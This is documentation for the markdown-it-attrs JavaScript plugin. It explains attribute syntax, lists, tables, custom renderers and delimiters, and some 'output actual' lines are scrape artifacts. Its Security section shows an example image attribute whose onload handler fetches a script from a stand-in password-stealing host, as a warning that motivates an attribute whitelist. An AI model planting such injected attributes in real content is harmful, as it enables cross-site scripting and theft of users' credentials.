markdown-it-attrs

Basic Attributes

Example input:

1
2
# header {.italic}
paragraph {data-toggle=modal}

Output should be:

1
2
<h1 class="italic">header</h1>
<p data-toggle="modal">paragraph</p>

Output actual:

header

paragraph


header

some text


Works with inline elements too:

1
paragraph *style me*{.red} more text

Output:

1
<p>paragraph <em class="red">style me</em> more text</p>

And fenced code blocks:


```python {data=asdf}
nums = [x for x in range(10)]
```

Output should be:

1
2
3
<pre><code data="asdf" class="language-python">
nums = [x for x in range(10)]
</code></pre>

Output actual:

{data
1
nums = [x for x in range(10)]

You can use .. as a short-hand for css-module=:

1
Use the css-module green on this paragraph. {..green}

Output should be:

1
<p css-module="green">Use the css-module green on this paragraph.</p>

Output actual (inspect):

Use the css-module green on this paragraph.

Use the css-module red on this paragraph.

bracketed spans

Also works with spans, in combination with the markdown-it-bracketed-spans plugin (to be installed and loaded as such then):

1
paragraph with [a style me span]{.red}

Output should be:

1
<p>paragraph with <span class="red">a style me span</span></p>

Output actual:

paragraph with a style me span

Security

A user may insert rogue attributes like this:

1
![](img.png){onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)}

If security is a concern, use an attribute whitelist:

1
2
3
md.use(markdownItAttrs, {
allowedAttributes: ['id', 'class', /^regex.*$/]
});

Now only id, class and attributes beginning with regex are allowed:

1
text {#red .green regex=allowed onclick=alert('hello')}

Output:

1
<p id="red" class="green" regex="allowed">text</p>

Limitations

markdown-it-attrs relies on markdown parsing in markdown-it, which means some
special cases are not possible to fix. Like using _ outside and inside
attributes:

1
_i want [all of this](/link){target="_blank"} to be italics_

Above example will render to:

1
<p>_i want <a href="/link">all of this</a>{target=&quot;<em>blank&quot;} to be italics</em></p>

…which is probably not what you wanted. Of course, you could use * for
italics to solve this parsing issue:

1
*i want [all of this](/link){target="_blank"} to be italics*

Output:

1
<p><em>i want <a href="/link" target="_blank">all of this</a> to be italics</em></p>

Ambiguity

When class can be applied to both inline or block element, inline element will take precedence:

1
- list item **bold**{.red}

Output:

1
2
3
<ul>
<li>list item <strong class="red">bold</strong></li>
<ul>

If you need the class to apply to the list item instead, use a space:

1
- list item **bold** {.red}

Output:

1
2
3
<ul>
<li class="red">list item <strong>bold</strong></li>
</ul>

If you need the class to apply to the <ul> element, use a new line:

1
2
- list item **bold**
{.red}

Output:

1
2
3
<ul class="red">
<li>list item <strong>bold</strong></li>
</ul>

If you have nested lists, curlys after new lines will apply to the nearest <ul> or <ol>. You may force it to apply to the outer <ul> by adding curly below on a paragraph by its own:

1
2
3
4
5
- item
- nested item {.a}
{.b}

{.c}

Output:

1
2
3
4
5
6
7
<ul class="c">
<li>item
<ul class="b">
<li class="a">nested item</li>
</ul>
</li>
</ul>

This is not optimal, but what I can do at the momemnt. For further discussion, see https://github.com/arve0/markdown-it-attrs/issues/32.

Similar for tables, attributes must be two new lines below:

1
2
3
4
5
header1 | header2
------- | -------
column1 | column2

{.special}

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<table class="special">
<thead>
<tr>
<th>header1</th>
<th>header2</th>
</tr>
</thead>
<tbody>
<tr>
<td>column1</td>
<td>column2</td>
</tr>
</tbody>
</table>

If you need finer control, decorate might help you.

Custom rendering

If you would like some other output, you can override renderers:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const md = require('markdown-it')();
const markdownItAttrs = require('markdown-it-attrs');

md.use(markdownItAttrs);

// custom renderer for fences
md.renderer.rules.fence = function (tokens, idx, options, env, slf) {
const token = tokens[idx];
return '<pre' + slf.renderAttrs(token) + '>'
+ '<code>' + token.content + '</code>'
+ '</pre>';
}

let src = [
'',
'```js {.abcd}',
'var a = 1;',
'```'
].join('\n')

console.log(md.render(src));

Output:

1
2
<pre class="abcd"><code>var a = 1;
</code></pre>

Read more about custom rendering at markdown-it.

Custom blocks

markdown-it-attrs will add attributes to any token.block == true with {}-curlies in end of token.info. For example, see markdown-it/rules_block/fence.js which stores text after the three backticks in fenced code blocks to token.info.

Remember to render attributes if you use a custom renderer.

Custom delimiters

To use different delimiters than the default, add configuration for leftDelimiter and rightDelimiter:

1
2
3
4
md.use(attrs, {
leftDelimiter: '[',
rightDelimiter: ']'
});

Which will render

1
# title [.large]

as

1
<h1 class="large">title</h1>